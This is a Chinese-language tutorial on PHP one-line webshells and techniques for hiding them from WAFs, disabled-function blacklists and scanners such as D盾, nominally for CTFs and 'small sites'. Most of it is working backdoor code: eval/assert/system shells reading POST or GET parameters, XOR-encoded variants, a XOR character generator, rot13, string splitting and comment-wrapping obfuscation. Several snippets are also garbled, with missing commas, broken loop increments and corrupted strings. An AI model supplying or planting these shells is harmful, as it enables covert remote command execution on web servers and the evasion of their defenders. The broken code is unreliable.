木马行业:0X00普通的一句话木马 适用于CTF和小站
木马行业:0X00普通的一句话木马 适用于CTF和小站大多数情况下,开发者为了方便自身的需求,会使用"黑名单"的方式扳掉许多敏感函数,来达到一个表面看上去新相对安全的一个目的,但是却不知道因为这种大意的思维会导致整个系统都处于极度危险中;攻击者以往遇见这种情况。完全可以通过加密的方法可以解决大部分的问题(eg:异或加密,base家族加密,URL加密.....)。所以我们常常会说:白名单>waf>黑名单!字符串拼接字符串异或加密字符串base家族加密字符串rot13加密
<?php eval($_POST['a']); ?>
//函数的相似替换
<?php assert($_POST['a']); ?>
<?php @eval($_POST['110']);?>与第一个一句话木马相比多了一个"@"字符,我们发现这个字符的含义是在php语法中表示抑制错误信息即使有错误也不返回;属于不太重要的"组件",而且它的写入位置也相对灵活;可以是eval函数前面,也可以是post函数前面.....
接着我们看第二个代码,我们发现它把eval函数替换为了assert函数;这时我们通过查看PHP手册(友情链接)发现如下区别:
- eval():函数把字符串当做代码来计算,但是字符串必须是正确的PHP代码,且要以分号结尾
- assert():通过函数判断表达式是否成立,如果成立是会执行该表达式,否则报错
可以考虑使用assert函数代替eval函数,因为eval函数实在太敏感了!!!这时又有师傅会问:那还有什么敏感函数呢?那就太多了(eg:system,post,get.....),因此我们可以更据免杀的精髓得出,混淆和加密这两种百试不爽的两个方法。
小提示:php一句话木马也可以执行其他命令!(<pre> <body><? @system($_GET["calc"]); ?></body> </pre>)所以,不一定要用POST函数,GET函数也是可以的!(注意:get函数只能向服务器请求信息,所以只能和命令执行绑定在一起哟!)
0X01 php的免杀(字符串免杀思路)字符串异或加密
字符串base家族加密
字符串rot13加密
字符串拼接
php免杀之异或免杀大多数情况下,开发者为了方便自身的需求,会使用"黑名单"的方式扳掉许多敏感函数,来达到一个表面看上去新相对安全的一个目的,但是却不知道因为这种大意的思维会导致整个系统都处于极度危险中;攻击者以往遇见这种情况。完全可以通过加密的方法可以解决大部分的问题(eg:异或加密,base家族加密,URL加密.....)。所以我们常常会说:白名单>waf>黑名单!
"^"为异或运算符 在PHP中 两个变量进行异或时 会将字符串转换成二进制再进行异或运算 异或运算完,又将结果从二进制转换成了字符串(参考链接)
<?php
$_=(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`');
$__='_'.('
'^']').('/'^'`').(''^']').(' '^']');
$___=$$__;
$_($___[_]);
<?php
$_ ;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
(''^'`')
${$__}[!$_](${$___}[$_]);
?>
<?php
$__=('>'>'<') ('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
小提示:可以通过下列的PHP异或脚本解决生成函数的问题
<?php
$test = '~!@#$%^&*()_ \|/?. -={}[]';
for($i=0;$i<strlen($test);$i ){
for($j=0;$j<strlen($test);$j ){
if(ord($test[$i]^$test[$j])>64 && ord($test[$i]^$test[$j])<91){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '<br>';
}else if(ord($test[$i]^$test[$j])>97 && ord($test[$i]^$test[$j])<122){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '<br>';
}
}
}
?>
虽然简单方便,但是容易通过静态识别被发现,这样我们的免杀就会被识破,为了继续进行wbshell免杀,我们可以通过学习下面的免杀技巧,并与之相结合!从而达到绕过WAF与php禁用函数的目的!
php免杀之base家族加密<?php
$a = 'd2hvYW1p';
echo base64_decode($a).'';
?>
这种方法没有什么特别的用处,但是可以尝试base16或base32与其他方法搭配使用,效果是不错的!
php免杀之rot13加密<?php
$a=str_rot13('riny');
$a($_POST['110']);
?>
rot13对eavl函数进行加密,即"riny"(可以通过这种方式绕过函数的正则匹配)!
虽然威胁级别很高,但是我们可以作用于其他免杀的处理上,使得免杀率得到一定程度的下降!(但是下面这个却被杀的死死的,我不理解,会不会是格式原因呢?)
<?php
class A{
function xxx($a){
$b=str_rot13('!r!i!n!y!!');
$str=explode('!' $b)[5];
$str($a);}
}
$c=new A();
$c->xxx($_REQUEST['110']);
?>
<?php $k="e"."v"."a"."l"; $k(${"_PO"."ST"} ['110']);?>
我们可以将敏感函数拆分,然后做一个简单的敏感函数免杀!其次也可以使用下面的arry数组结构函数进行免杀。
<?php
$a = substr_replace("xxser" "asser" -3);
$b = array('' $a);
$c = $b[1].chr('116');
$fun=preg_replace("/xx/" "" $c);
$d = substr_replace("" $fun 0);
$d ($_POST['110']);
?>
也就是说,我们只要把PSOT函数在用rot13加个密就可以了;或者考虑变量替换(但是根据D盾的检测来看,效果不一定会比加密好)!
php免杀之混淆免杀<?php
function a()
{
return "/*110110110110*/".$_POST['110']."/*110110110110**/";
}
@eval(a());
?>